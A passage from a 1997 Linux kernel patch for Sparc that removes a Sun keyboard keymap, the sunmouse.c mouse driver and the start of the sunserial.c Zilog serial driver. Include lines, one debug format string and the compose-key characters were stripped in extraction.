0x1d = Meta_Escape -keycode 0x1e = one exclam - alt keycode 0x1e = Meta_one -keycode 0x1f = two at at - control keycode 0x1f = nul - shift control keycode 0x1f = nul - alt keycode 0x1f = Meta_two -keycode 0x20 = three numbersign - control keycode 0x20 = Escape - alt keycode 0x20 = Meta_three -keycode 0x21 = four dollar dollar - control keycode 0x21 = Control_backslash - alt keycode 0x21 = Meta_four -keycode 0x22 = five percent - control keycode 0x22 = Control_bracketright - alt keycode 0x22 = Meta_five -keycode 0x23 = six asciicircum - control keycode 0x23 = Control_asciicircum - alt keycode 0x23 = Meta_six -keycode 0x24 = seven ampersand braceleft - control keycode 0x24 = Control_underscore - alt keycode 0x24 = Meta_seven -keycode 0x25 = eight asterisk bracketleft - control keycode 0x25 = Delete - alt keycode 0x25 = Meta_eight -keycode 0x26 = nine parenleft bracketright - alt keycode 0x26 = Meta_nine -keycode 0x27 = zero parenright braceright - alt keycode 0x27 = Meta_zero -keycode 0x28 = minus underscore backslash - control keycode 0x28 = Control_underscore - shift control keycode 0x28 = Control_underscore - alt keycode 0x28 = Meta_minus -keycode 0x29 = equal plus - alt keycode 0x29 = Meta_equal -keycode 0x2a = grave asciitilde - control keycode 0x2a = nul - alt keycode 0x2a = Meta_grave -# Is marked as BackSpace but we define it as delete just like the i386 -# keyboard maps does -keycode 0x2b = Delete Delete - control keycode 0x2b = BackSpace - alt keycode 0x2b = Meta_Delete -keycode 0x2c = Insert -# This is really keypad = on type 4 keyboards -keycode 0x2d = equal -keycode 0x2e = KP_Divide -keycode 0x2f = KP_Multiply -# Power ON/OFF key on type 5 keyboard -keycode 0x30 = -# FRONT/L5 -keycode 0x31 = -keycode 0x32 = KP_Period -# altgr control keycode 0x32 = Boot - control alt keycode 0x32 = Boot -# COPY/L6 -keycode 0x33 = -# Home key, same difference -keycode 0x34 = Find -keycode 0x35 = Tab Tab - alt keycode 0x35 = Meta_Tab -keycode 0x36 = q -keycode 0x37 = w -keycode 0x38 = e - altgr keycode 0x38 = Hex_E -keycode 0x39 = r -keycode 0x3a = t -keycode 0x3b = y -keycode 0x3c = u -keycode 0x3d = i -keycode 0x3e = o -keycode 0x3f = p -keycode 0x40 = bracketleft braceleft - control keycode 0x40 = Escape - alt keycode 0x40 = Meta_bracketleft -keycode 0x41 = bracketright braceright asciitilde - control keycode 0x41 = Control_bracketright - alt keycode 0x41 = Meta_bracketright -keycode 0x42 = Delete Delete - control keycode 0x42 = BackSpace - alt keycode 0x43 = Meta_Delete - control alt keycode 0x42 = Boot -keycode 0x43 = Compose -keycode 0x44 = KP_7 - alt keycode 0x44 = Ascii_7 - altgr keycode 0x44 = Hex_7 -keycode 0x45 = KP_8 - alt keycode 0x45 = Ascii_8 - altgr keycode 0x45 = Hex_8 -keycode 0x46 = KP_9 - alt keycode 0x46 = Ascii_9 - altgr keycode 0x46 = Hex_9 -keycode 0x47 = KP_Subtract -# OPEN/L6 -keycode 0x48 = -# PASTE/L8 -keycode 0x49 = -keycode 0x4a = Select -# No key produces 0x4b to my knowledge -keycode 0x4b = -keycode 0x4c = Control -keycode 0x4d = a - altgr keycode 0x4d = Hex_A -keycode 0x4e = s -keycode 0x4f = d - altgr keycode 0x4f = Hex_D -keycode 0x50 = f - altgr keycode 0x50 = Hex_F -keycode 0x51 = g -keycode 0x52 = h -keycode 0x53 = j -keycode 0x54 = k -keycode 0x55 = l -keycode 0x56 = semicolon colon - alt keycode 0x56 = Meta_semicolon -keycode 0x57 = apostrophe quotedbl - control keycode 0x57 = Control_g - alt keycode 0x57 = Meta_apostrophe -keycode 0x58 = backslash bar - control keycode 0x58 = Control_backslash - alt keycode 0x58 = Meta_backslash -keycode 0x59 = Return - alt keycode 0x59 = Meta_Control_m -keycode 0x5a = KP_Enter -keycode 0x5b = KP_4 - alt keycode 0x5b = Ascii_4 - altgr keycode 0x5b = Hex_4 -keycode 0x5c = KP_5 - alt keycode 0x5c = Ascii_5 - altgr keycode 0x5c = Hex_5 -keycode 0x5d = KP_6 - alt keycode 0x5d = Ascii_6 - altgr keycode 0x5d = Hex_6 -keycode 0x5e = KP_0 - alt keycode 0x5e = Ascii_0 - altgr keycode 0x5e = Hex_0 -# FIND/L9 -keycode 0x5f = -keycode 0x60 = Prior - shift keycode 0x60 = Scroll_Backward -# CUT/L10 -keycode 0x61 = -keycode 0x62 = Num_Lock -# Linux/i386 console makes no distinction between right/left shift -# so neither do we. -keycode 0x63 = Shift -keycode 0x64 = z -keycode 0x65 = x -keycode 0x66 = c - altgr keycode 0x66 = Hex_C -keycode 0x67 = v -keycode 0x68 = b - altgr keycode 0x68 = Hex_B -keycode 0x69 = n -keycode 0x6a = m -keycode 0x6b = comma less - alt keycode 0x6b = Meta_comma -keycode 0x6c = period greater - control keycode 0x6c = Compose - alt keycode 0x6c = Meta_period -keycode 0x6d = slash question - control keycode 0x6d = Delete - alt keycode 0x6d = Meta_slash -keycode 0x6e = Shift -keycode 0x6f = Linefeed -keycode 0x70 = KP_1 - alt keycode 0x70 = Ascii_1 - altgr keycode 0x70 = Hex_1 -keycode 0x71 = KP_2 - alt keycode 0x71 = Ascii_2 - altgr keycode 0x71 = Hex_2 -keycode 0x72 = KP_3 - alt keycode 0x72 = Ascii_3 - altgr keycode 0x72 = Hex_3 -# To my knowledge no key produces 0x73, 0x74, or 0x75 -keycode 0x73 = -keycode 0x74 = -keycode 0x75 = -keycode 0x76 = Help -keycode 0x77 = Caps_Lock -# A True Meta-key, unused at this time -keycode 0x78 = -keycode 0x79 = space space - control keycode 0x79 = nul - alt keycode 0x79 = Meta_space -# Another real Meta-key, again unused -keycode 0x7a = -keycode 0x7b = Next - shift keycode 0x7b = Scroll_Forward -# No keys produce the following -keycode 0x7c = -keycode 0x7d = KP_Add -keycode 0x7e = -# keycode 0x7f is special and it means 'all keys released' and is -# taken care of within the sun keyboard driver itself -keycode 0x7f = -# That's all folks... -string F1 = "\033[[A" -string F2 = "\033[[B" -string F3 = "\033[[C" -string F4 = "\033[[D" -string F5 = "\033[[E" -string F6 = "\033[17~" -string F7 = "\033[18~" -string F8 = "\033[19~" -string F9 = "\033[20~" -string F10 = "\033[21~" -string F11 = "\033[23~" -string F12 = "\033[24~" -string F13 = "\033[25~" -string F14 = "\033[26~" -string F15 = "\033[28~" -string F16 = "\033[29~" -string F17 = "\033[31~" -string F18 = "\033[32~" -string F19 = "\033[33~" -string F20 = "\033[34~" -string Find = "\033[1~" -string Insert = "\033[2~" -string Remove = "\033[3~" -string Select = "\033[4~" -string Prior = "\033[5~" -string Next = "\033[6~" -string Macro = "\033[M" -string Pause = "\033[P" -compose '`' 'A' to '' -compose '`' 'a' to '' -compose '\'' 'A' to '' -compose '\'' 'a' to '' -compose '^' 'A' to '' -compose '^' 'a' to '' -compose '~' 'A' to '' -compose '~' 'a' to '' -compose '"' 'A' to '' -compose '"' 'a' to '' -compose 'O' 'A' to '' -compose 'o' 'a' to '' -compose '0' 'A' to '' -compose '0' 'a' to '' -compose 'A' 'A' to '' -compose 'a' 'a' to '' -compose 'A' 'E' to '' -compose 'a' 'e' to '' -compose ',' 'C' to '' -compose ',' 'c' to '' -compose '`' 'E' to '' -compose '`' 'e' to '' -compose '\'' 'E' to '' -compose '\'' 'e' to '' -compose '^' 'E' to '' -compose '^' 'e' to '' -compose '"' 'E' to '' -compose '"' 'e' to '' -compose '`' 'I' to '' -compose '`' 'i' to '' -compose '\'' 'I' to '' -compose '\'' 'i' to '' -compose '^' 'I' to '' -compose '^' 'i' to '' -compose '"' 'I' to '' -compose '"' 'i' to '' -compose '-' 'D' to '' -compose '-' 'd' to '' -compose '~' 'N' to '' -compose '~' 'n' to '' -compose '`' 'O' to '' -compose '`' 'o' to '' -compose '\'' 'O' to '' -compose '\'' 'o' to '' -compose '^' 'O' to '' -compose '^' 'o' to '' -compose '~' 'O' to '' -compose '~' 'o' to '' -compose '"' 'O' to '' -compose '"' 'o' to '' -compose '/' 'O' to '' -compose '/' 'o' to '' -compose '`' 'U' to '' -compose '`' 'u' to '' -compose '\'' 'U' to '' -compose '\'' 'u' to '' -compose '^' 'U' to '' -compose '^' 'u' to '' -compose '"' 'U' to '' -compose '"' 'u' to '' -compose '\'' 'Y' to '' -compose '\'' 'y' to '' -compose 'T' 'H' to '' -compose 't' 'h' to '' -compose 's' 's' to '' -compose '"' 'y' to '' -compose 's' 'z' to '' -compose 'i' 'j' to '' diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/sunmouse.c linux/drivers/sbus/char/sunmouse.c --- linux-2.1.29/drivers/sbus/char/sunmouse.c Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/char/sunmouse.c Wed Dec 31 19:00:00 1969 @@ -1,482 +0,0 @@ -/* sunmouse.c: Sun mouse driver for the Sparc - * - * Copyright (C) 1995 David S. Miller (davem@caip.rutgers.edu) - * Copyright (C) 1995 Miguel de Icaza (miguel@nuclecu.unam.mx) - * - * Parts based on the psaux.c driver written by: - * Johan Myreen. - * - * Dec/19/95 Added SunOS mouse ioctls - miguel. - * Jan/5/96 Added VUID support, sigio support - miguel. - * Mar/5/96 Added proper mouse stream support - miguel. - * Sep/96 Allow more than one reader -miguel. - */ - -/* The mouse is run off of one of the Zilog serial ports. On - * that port is the mouse and the keyboard, each gets a zs channel. - * The mouse itself is mouse-systems in nature. So the protocol is: - * - * Byte 1) Button state which is bit-encoded as - * 0x4 == left-button down, else up - * 0x2 == middle-button down, else up - * 0x1 == right-button down, else up - * - * Byte 2) Delta-x - * Byte 3) Delta-y - * Byte 4) Delta-x again - * Byte 5) Delta-y again - * - * One day this driver will have to support more than one mouse in the system. - * - * This driver has two modes of operation: the default VUID_NATIVE is - * set when the device is opened and allows the application to see the - * mouse character stream as we get it from the serial (for gpm for - * example). The second method, VUID_FIRM_EVENT will provide cooked - * events in Firm_event records as expected by SunOS/Solaris applications. - * - * FIXME: We need to support more than one mouse. - * */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -/* The following keeps track of software state for the Sun - * mouse. - */ -#define STREAM_SIZE 2048 -#define EV_SIZE (STREAM_SIZE/sizeof (Firm_event)) -#define BUTTON_LEFT 4 -#define BUTTON_MIDDLE 2 -#define BUTTON_RIGHT 1 - -struct sun_mouse { - unsigned char transaction[5]; /* Each protocol transaction */ - unsigned char byte; /* Counter, starts at 0 */ - unsigned char button_state; /* Current button state */ - unsigned char prev_state; /* Previous button state */ - int delta_x; /* Current delta-x */ - int delta_y; /* Current delta-y */ - int present; - int ready; /* set if there if data is available */ - int active; /* set if device is open */ - int vuid_mode; /* VUID_NATIVE or VUID_FIRM_EVENT */ - struct wait_queue *proc_list; - struct fasync_struct *fasync; - - /* The event/stream queue */ - unsigned int head; - unsigned int tail; - union { - char stream [STREAM_SIZE]; - Firm_event ev [0]; - } queue; -}; - -static struct sun_mouse sunmouse; -#define gen_events (sunmouse.vuid_mode != VUID_NATIVE) -#define bstate sunmouse.button_state -#define pstate sunmouse.prev_state - -extern void mouse_put_char(char ch); - -/* #define SMOUSE_DEBUG */ - -static void -push_event (Firm_event *ev) -{ - int next = (sunmouse.head + 1) % EV_SIZE; - - if (next != sunmouse.tail){ - sunmouse.queue.ev [sunmouse.head] = *ev; - sunmouse.head = next; - } -} - -static int -queue_empty (void) -{ - return sunmouse.head == sunmouse.tail; -} - -static Firm_event * -get_from_queue (void) -{ - Firm_event *result; - - result = &sunmouse.queue.ev [sunmouse.tail]; - sunmouse.tail = (sunmouse.tail + 1) % EV_SIZE; - return result; -} - -static void -push_char (char c) -{ - int next = (sunmouse.head + 1) % STREAM_SIZE; - - if (next != sunmouse.tail){ - sunmouse.queue.stream [sunmouse.head] = c; - sunmouse.head = next; - } - sunmouse.ready = 1; - if (sunmouse.fasync) - kill_fasync (sunmouse.fasync, SIGIO); - wake_up_interruptible (&sunmouse.proc_list); -} - -/* Auto baud rate "detection". ;-) */ -static int mouse_bogon_bytes = 0; -static int mouse_baud_changing = 0; /* For reporting things to the user. */ -static int mouse_baud = 4800; /* Initial rate set by zilog driver. */ - -/* Change the baud rate after receiving too many "bogon bytes". */ -void sun_mouse_change_baud(void) -{ - extern void zs_change_mouse_baud(int newbaud); - - if(mouse_baud == 1200) - mouse_baud = 4800; - else - mouse_baud = 1200; - - zs_change_mouse_baud(mouse_baud); - mouse_baud_changing = 1; -} - -void mouse_baud_detection(unsigned char c) -{ - static int wait_for_synchron = 1; - static int ctr = 0; - - if(wait_for_synchron) { - if((c < 0x80) || (c > 0x87)) - mouse_bogon_bytes++; - else { - ctr = 0; - wait_for_synchron = 0; - } - } else { - ctr++; - if(ctr >= 4) { - ctr = 0; - wait_for_synchron = 1; - if(mouse_baud_changing == 1) { - printk("sunmouse: Successfully adjusted to %d baud.\n", - mouse_baud); - mouse_baud_changing = 0; - } - } - } - if(mouse_bogon_bytes > 12) { - sun_mouse_change_baud(); - mouse_bogon_bytes = 0; - wait_for_synchron = 1; - } -} - -/* The following is called from the zs driver when bytes are received on - * the Mouse zs8530 channel. - */ -void -sun_mouse_inbyte(unsigned char byte, unsigned char status) -{ - signed char mvalue; - int d; - Firm_event ev; - - add_mouse_randomness (byte); - if(!sunmouse.active) - return; - - mouse_baud_detection(byte); - - if (!gen_events){ - push_char (byte); - return; - } - /* Check for framing errors and parity errors */ - /* XXX TODO XXX */ - - /* If the mouse sends us a byte from 0x80 to 0x87 - * we are starting at byte zero in the transaction - * protocol. - */ - if(byte >= 0x80 && byte <= 0x87) - sunmouse.byte = 0; - - mvalue = (signed char) byte; - switch(sunmouse.byte) { - case 0: - /* Button state */ - sunmouse.button_state = (~byte) & 0x7; -#ifdef SMOUSE_DEBUG - printk("B", - ((sunmouse.button_state & 0x4) ? "DOWN" : "UP"), - ((sunmouse.button_state & 0x2) ? "DOWN" : "UP"), - ((sunmouse.button_state & 0x1) ? "DOWN" : "UP")); -#endif - sunmouse.byte++; - return; - case 1: - /* Delta-x 1 */ -#ifdef SMOUSE_DEBUG - printk("DX1<%d>", mvalue); -#endif - sunmouse.delta_x = mvalue; - sunmouse.byte++; - return; - case 2: - /* Delta-y 1 */ -#ifdef SMOUSE_DEBUG - printk("DY1<%d>", mvalue); -#endif - sunmouse.delta_y = mvalue; - sunmouse.byte++; - return; - case 3: - /* Delta-x 2 */ -#ifdef SMOUSE_DEBUG - printk("DX2<%d>", mvalue); -#endif - sunmouse.delta_x += mvalue; - sunmouse.byte++; - return; - case 4: - /* Last byte, Delta-y 2 */ -#ifdef SMOUSE_DEBUG - printk("DY2<%d>", mvalue); -#endif - sunmouse.delta_y += mvalue; - sunmouse.byte = 69; /* Some ridiculous value */ - break; - case 69: - /* Until we get the (0x80 -> 0x87) value we aren't - * in the middle of a real transaction, so just - * return. - */ - return; - default: - printk("sunmouse: bogon transaction state\n"); - sunmouse.byte = 69; /* What could cause this? */ - return; - }; - d = bstate ^ pstate; - pstate = bstate; - if (d){ - if (d & BUTTON_LEFT){ - ev.id = MS_LEFT; - ev.value = bstate & BUTTON_LEFT; - } - if (d & BUTTON_RIGHT){ - ev.id = MS_RIGHT; - ev.value = bstate & BUTTON_RIGHT; - } - if (d & BUTTON_MIDDLE){ - ev.id = MS_MIDDLE; - ev.value = bstate & BUTTON_MIDDLE; - } - ev.time = xtime; - ev.value = ev.value ? VKEY_DOWN : VKEY_UP; - push_event (&ev); - } - if (sunmouse.delta_x){ - ev.id = LOC_X_DELTA; - ev.time = xtime; - ev.value = sunmouse.delta_x; - push_event (&ev); - sunmouse.delta_x = 0; - } - if (sunmouse.delta_y){ - ev.id = LOC_Y_DELTA; - ev.time = xtime; - ev.value = sunmouse.delta_y; - push_event (&ev); - } - - /* We just completed a transaction, wake up whoever is awaiting - * this event. - */ - sunmouse.ready = 1; - if (sunmouse.fasync) - kill_fasync (sunmouse.fasync, SIGIO); - wake_up_interruptible(&sunmouse.proc_list); - return; -} - -static int -sun_mouse_open(struct inode * inode, struct file * file) -{ - if(sunmouse.active++) - return 0; - if(!sunmouse.present) - return -EINVAL; - sunmouse.ready = sunmouse.delta_x = sunmouse.delta_y = 0; - sunmouse.button_state = 0x80; - sunmouse.vuid_mode = VUID_NATIVE; - return 0; -} - -static int -sun_mouse_fasync (struct inode *inode, struct file *filp, int on) -{ - int retval; - - retval = fasync_helper (inode, filp, on, &sunmouse.fasync); - if (retval < 0) - return retval; - return 0; -} - -static void -sun_mouse_close(struct inode *inode, struct file *file) -{ - sun_mouse_fasync (inode, file, 0); - if (--sunmouse.active) - return; - sunmouse.ready = 0; -} - -static long -sun_mouse_write(struct inode *inode, struct file *file, const char *buffer, - unsigned long count) -{ - return -EINVAL; /* foo on you */ -} - -static long -sun_mouse_read(struct inode *inode, struct file *file, char *buffer, - unsigned long count) -{ - struct wait_queue wait = { current, NULL }; - - if (queue_empty ()){ - if (file->f_flags & O_NONBLOCK) - return -EWOULDBLOCK; - add_wait_queue (&sunmouse.proc_list, &wait); - while (queue_empty () && !(current->signal & ~current->blocked)){ - current->state = TASK_INTERRUPTIBLE; - schedule (); - } - current->state = TASK_RUNNING; - remove_wait_queue (&sunmouse.proc_list, &wait); - } - if (gen_events){ - char *p = buffer, *end = buffer+count; - - while (p < end && !queue_empty ()){ - copy_to_user_ret((Firm_event *)p, get_from_queue(), - sizeof(Firm_event), -EFAULT); - p += sizeof (Firm_event); - } - sunmouse.ready = !queue_empty (); - inode->i_atime = CURRENT_TIME; - return p-buffer; - } else { - int c; - - for (c = count; !queue_empty() && c; c--){ - put_user_ret(sunmouse.queue.stream[sunmouse.tail], buffer, -EFAULT); - buffer++; - sunmouse.tail = (sunmouse.tail + 1) % STREAM_SIZE; - } - sunmouse.ready = !queue_empty(); - inode->i_atime = CURRENT_TIME; - return count-c; - } - /* Only called if nothing was sent */ - if (current->signal & ~current->blocked) - return -ERESTARTSYS; - return 0; -} - -static unsigned int sun_mouse_poll(struct file *file, poll_table *wait) -{ - poll_wait(&sunmouse.proc_list, wait); - if(sunmouse.ready) - return POLLIN | POLLRDNORM; - return 0; -} -int -sun_mouse_ioctl (struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg) -{ - int i; - - switch (cmd){ - /* VUIDGFORMAT - Get input device byte stream format */ - case _IOR('v', 2, int): - put_user_ret(sunmouse.vuid_mode, (int *) arg, -EFAULT); - break; - - /* VUIDSFORMAT - Set input device byte stream format*/ - case _IOW('v', 1, int): - get_user_ret(i, (int *) arg, -EFAULT); - if (i == VUID_NATIVE || i == VUID_FIRM_EVENT){ - int value; - - get_user_ret(value, (int *)arg, -EFAULT); - sunmouse.vuid_mode = value; - sunmouse.head = sunmouse.tail = 0; - } else - return -EINVAL; - break; - - case 0x8024540b: - case 0x40245408: - /* This is a buggy application doing termios on the mouse driver */ - /* we ignore it. I keep this check here so that we will notice */ - /* future mouse vuid ioctls */ - break; - - default: - printk ("[MOUSE-ioctl: %8.8x]\n", cmd); - return -1; - } - return 0; -} - -struct file_operations sun_mouse_fops = { - NULL, - sun_mouse_read, - sun_mouse_write, - NULL, - sun_mouse_poll, - sun_mouse_ioctl, - NULL, - sun_mouse_open, - sun_mouse_close, - NULL, - sun_mouse_fasync, -}; - -static struct miscdevice sun_mouse_mouse = { - SUN_MOUSE_MINOR, "sunmouse", &sun_mouse_fops -}; - -__initfunc(int sun_mouse_init(void)) -{ - printk("Sun Mouse-Systems mouse driver version 1.00\n"); - sunmouse.present = 1; - sunmouse.ready = sunmouse.active = 0; - misc_register (&sun_mouse_mouse); - sunmouse.delta_x = sunmouse.delta_y = 0; - sunmouse.button_state = 0x80; - sunmouse.proc_list = NULL; - sunmouse.byte = 69; - return 0; -} - -void -sun_mouse_zsinit(void) -{ - sunmouse.ready = 1; -} diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/sunserial.c linux/drivers/sbus/char/sunserial.c --- linux-2.1.29/drivers/sbus/char/sunserial.c Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/char/sunserial.c Wed Dec 31 19:00:00 1969 @@ -1,2518 +0,0 @@ -/* $Id: sunserial.c,v 1.27 1997/03/04 19:33:55 davem Exp $ - * serial.c: Serial port driver for the Sparc. - * - * Copyright (C) 1995 David S. Miller (davem@caip.rutgers.edu) - * Copyright (C) 1996 Eddie C. Dost (ecd@skynet.be) - * Fixes by Pete A. Zaitcev . - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include - -#include "sunserial.h" - -static int num_serial = 2; /* sun4/sun4c/sun4m - Two chips on board. */ -#define NUM_SERIAL num_serial -#define NUM_CHANNELS (NUM_SERIAL * 2) - -#define KEYBOARD_LINE 0x2 -#define MOUSE_LINE 0x3 - -struct sun_zslayout **zs_chips; -struct sun_zschannel **zs_channels; -struct sun_zschannel *zs_conschan; -struct sun_zschannel *zs_mousechan; -struct sun_zschannel *zs_kbdchan; -struct sun_zschannel *zs_kgdbchan; -int *zs_nodes; - -struct sun_serial *zs_soft; -struct sun_serial *zs_chain; /* IRQ servicing chain */ -int zilog_irq; - -struct tty_struct *zs_ttys; -/** struct tty_struct *zs_constty; **/ - -/* Console hooks... */ -static int zs_cons_chanout = 0; -static int zs_cons_chanin = 0; -static struct l1a_kbd_state l1a_state = { 0, 0 }; -struct sun_serial *zs_consinfo = 0; - -/* Keyboard defines for L1-A processing... */ -#define SUNKBD_RESET 0xff -#define SUNKBD_L1 0x01 -#define SUNKBD_UP 0x80 -#define SUNKBD_A 0x4d - -extern void sunkbd_inchar(unsigned char ch, unsigned char status, struct pt_regs *regs); -extern void sun_mouse_inbyte(unsigned char byte, unsigned char status); - -static unsigned char kgdb_regs[16] = { - 0, 0, 0, /* write 0, 1, 2 */ - (Rx8 | RxENAB), /* write 3 */ - (X16CLK | SB1 | PAR_EVEN), /* write 4 */ - (DTR | Tx8 | TxENAB), /* write 5 */ - 0, 0, 0, /* write 6, 7, 8 */ - (NV), /* write 9 */ - (NRZ), /* write 10 */ - (TCBR | RCBR), /* write 11 */ - 0, 0, /* BRG time constant, write 12 + 13 */ - (BRSRC | BRENAB), /* write 14 */ - (DCDIE) /* write 15 */ -}; - -static unsigned char zscons_regs[16] = { - 0, /* write 0 */ - (EXT_INT_ENAB | INT_ALL_Rx), /* write 1 */ - 0, /* write 2 */ - (Rx8 | RxENAB), /* write 3 */ - (X16CLK), /* write 4 */ - (DTR | Tx8 | TxENAB), /* write 5 */ - 0, 0, 0, /* write 6, 7, 8 */ - (NV | MIE), /* write 9 */ - (NRZ), /* write 10 */ - (TCBR | RCBR), /* write 11 */ - 0, 0, /* BRG time constant, write 12 + 13 */ - (BRSRC | BRENAB), /* write 14 */ - (DCDIE | CTSIE | TxUIE | BRKIE) /* write 15 */ -}; - -#define ZS_CLOCK 4915200 /* Zilog input clock rate */ - -DECLARE_TASK_QUEUE(tq_serial); - -struct tty_driver serial_driver, callout_driver; -static int serial_refcount; - -/* serial subtype definitions */ -#define SERIAL_TYPE_NORMAL 1 -#define SERIAL_TYPE_CALLOUT 2 - -/* number of characters left in xmit buffer before we ask for more */ -#define WAKEUP_CHARS 256 - -/* Debugging... DEBUG_INTR is bad to use when one of the zs - * lines is your console ;( - */ -#undef SERIAL_DEBUG_INTR -#undef SERIAL_DEBUG_OPEN -#undef SERIAL_DEBUG_FLOW - -#define RS_STROBE_TIME 10 -#define RS_ISR_PASS_LIMIT 256 - -#define _INLINE_ inline - -static void change_speed(struct sun_serial *info); - -static struct tty_struct **serial_table; -static struct termios **serial_termios; -static struct termios **serial_termios_locked; - -#ifndef MIN -#define MIN(a,b) ((a) < (b) ? (a) : (b)) -#endif - -/* - * tmp_buf is used as a temporary buffer by serial_write. We need to - * lock it in case the memcpy_fromfs blocks while swapping in a page, - * and some other program tries to do a serial write at the same time. - * Since the lock will only come under contention when the system is - * swapping and available memory is low, it makes sense to share one - * buffer across all the serial ports, since it significantly saves - * memory if large numbers of serial ports are open. - */ -static unsigned char tmp_buf[4096]; /* This is cheating */ -static struct semaphore tmp_buf_sem = MUTEX; - -static inline int serial_paranoia_check(struct sun_serial *info, - dev_t device, const char *routine) -{ -#ifdef SERIAL_PARANOIA_CHECK - static const char *badmagic = - "Warning: bad magic number for serial struct (%d, %d) in %s\n"; - static const char *badinfo = - "Warning: null sun_serial for (%d, %d) in %s\n"; - - if (!info) { - printk(badinfo, MAJOR(device), MINOR(device), routine); - return 1; - } - if (info->magic != SERIAL_MAGIC) { - printk(badmagic, MAJOR(device), MINOR(device), routine); - return 1; - } -#endif - return 0; -} - -/* - * This is used to figure out the divisor speeds and the timeouts - */ -static int baud_table[] = { - 0, 50, 75, 110, 134, 150, 200, 300, 600, 1200, 1800, 2400, 4800, - 9600, 19200, 38400, 57600, 115200, 0 }; - -/* - * Reading and writing Zilog8530 registers. The delays are to make this - * driver work on the Sun4 which needs a settling delay after each chip - * register access, other machines handle this in hardware via auxiliary - * flip-flops which implement the settle time we do in software. - */ -static inline unsigned char read_zsreg(struct sun_zschannel *channel, - unsigned char reg) -{ - unsigned char retval; - - channel->control = reg; - udelay(5); - retval = channel->control; - udelay(5); - return retval; -} - -static inline void write_zsreg(struct sun_zschannel *channel, - unsigned char reg, unsigned char value) -{ - channel->control = reg; - udelay(5); - channel->control = value; - udelay(5); -} - -static inline void load_zsregs(struct sun_serial *info, unsigned char *regs) -{ - unsigned long flags; - struct sun_zschannel *channel = info->zs_channel; - - ZS_CLEARERR(channel); - ZS_CLEARFIFO(channel); - /* Load 'em up */ - save_flags(flags); cli(); - if (info->channelA) - write_zsreg(channel, R9, CHRA); - else - write_zsreg(channel, R9, CHRB); - udelay(20); /* wait for some old sun4's */ - write_zsreg(channel, R4, regs[R4]); - write_zsreg(channel, R3, regs[R3] & ~RxENAB); - write_zsreg(channel, R5, regs[R5] & ~TxENAB); - write_zsreg(channel, R9, regs[R9] & ~MIE); - write_zsreg(channel, R10, regs[R10]); - write_zsreg(channel, R11, regs[R11]); - write_zsreg(channel, R12, regs[R12]); - write_zsreg(channel, R13, regs[R13]); - write_zsreg(channel, R14, regs[R14] & ~BRENAB); - write_zsreg(channel, R14, regs[R14]); - write_zsreg(channel, R14, (regs[R14] & ~SNRZI) | BRENAB); - write_zsreg(channel, R3, regs[R3]); - write_zsreg(channel, R5, regs[R5]); - write_zsreg(channel, R15, regs[R15]); - write_zsreg(channel, R0, RES_EXT_INT); - write_zsreg(channel, R0, RES_EXT_INT); - write_zsreg(channel, R1, regs[R1]); - write_zsreg(channel, R9, regs[R9]); - restore_flags(flags); -} - -static inline void zs_put_char(struct sun_zschannel *channel, char ch) -{ - int loops = 0; - - while((channel->control & Tx_BUF_EMP) == 0 && loops < 10000) { - loops++; - udelay(5); - } - channel->data = ch; - udelay(5); -} - -/* Sets or clears DTR/RTS on the requested line */ -static inline void zs_rtsdtr(struct sun_serial *ss, int set) -{ - unsigned long flags; - - save_flags(flags); cli(); - if(set) { - ss->curregs[5] |= (RTS | DTR); - write_zsreg(ss->zs_channel, 5, ss->curregs[5]); - } else { - ss->curregs[5] &= ~(RTS | DTR); - write_zsreg(ss->zs_channel, 5, ss->curregs[5]); - } - restore_flags(flags); - return; -} - -static inline void kgdb_chaninit(struct sun_serial *ss, int intson, int bps) -{ - int brg; - - if(intson) { - kgdb_regs[R1] = INT_ALL_Rx; - kgdb_regs[R9] |= MIE; - } else { - kgdb_regs[R1] = 0; - kgdb_regs[R9] &= ~MIE; - } - brg = BPS_TO_BRG(bps, ZS_CLOCK/16); - kgdb_regs[R12] = (brg & 255); - kgdb_regs[R13] = ((brg >> 8) & 255); - load_zsregs(ss, kgdb_regs); -} - -/* - * ------------------------------------------------------------ - * rs_stop() and rs_start() - * - * This routines are called before setting or resetting tty->stopped. - * They enable or disable transmitter interrupts, as necessary. - * ------------------------------------------------------------ - */ -static void rs_stop(struct tty_struct *tty) -{ - struct sun_serial *info = (struct sun_serial *)tty->driver_data; - unsigned long flags; - - if (serial_paranoia_check(info, tty->device, "rs_stop")) - return; - - save_flags(flags); cli(); - if (info->curregs[5] & TxENAB) { - info->curregs[5] &= ~TxENAB; - write_zsreg(info->zs_channel, 5, info->curregs[5]); - } - restore_flags(flags); -} - -static void rs_start(struct tty_struct *tty) -{ - struct sun_serial *info = (struct sun_serial *)tty->driver_data; - unsigned long flags; - - if (serial_paranoia_check(info, tty->device, "rs_start")) - return; - - save_flags(flags); cli(); - if (info->xmit_cnt && info->xmit_buf && !(info->curregs[5] & TxENAB)) { - info->curregs[5] |= TxENAB; - write_zsreg(info->zs_channel, 5, info->curregs[5]); - } - restore_flags(flags); -} - -/* Drop into either the boot monitor or kadb upon receiving a break - * from keyboard/console input. - */ -static void batten_down_hatches(void) -{ - /* If we are doing kadb, we call the debugger - * else we just drop into the boot monitor. - * Note that we must flush the user windows - * first before giving up control. - */ - printk("\n"); - flush_user_windows(); - if((((unsigned long)linux_dbvec)>=DEBUG_FIRSTVADDR) && - (((unsigned long)linux_dbvec)<=DEBUG_LASTVADDR)) - sp_enter_debugger(); - else - prom_cmdline(); - - /* XXX We want to notify the keyboard driver that all - * XXX keys are in the up state or else weird things - * XXX happen... - */ - - return; -} - -/* On receive, this clears errors and the receiver interrupts */ -static inline void rs_recv_clear(struct sun_zschannel *zsc) -{ - unsigned long flags; - - save_flags(flags); cli(); - zsc->control = ERR_RES; - udelay(5); - zsc->control = RES_H_IUS; - udelay(5); - restore_flags(flags); -} - -/* - * ---------------------------------------------------------------------- - * - * Here starts the interrupt handling routines. All of the following - * subroutines are declared as inline and are folded into - * rs_interrupt(). They were separated out for readability's sake. - * - * Note: rs_interrupt() is a "fast" interrupt, which means that it - * runs with interrupts turned off. People who may want to modify - * rs_interrupt() should try to keep the interrupt handler as fast as - * possible. After you are 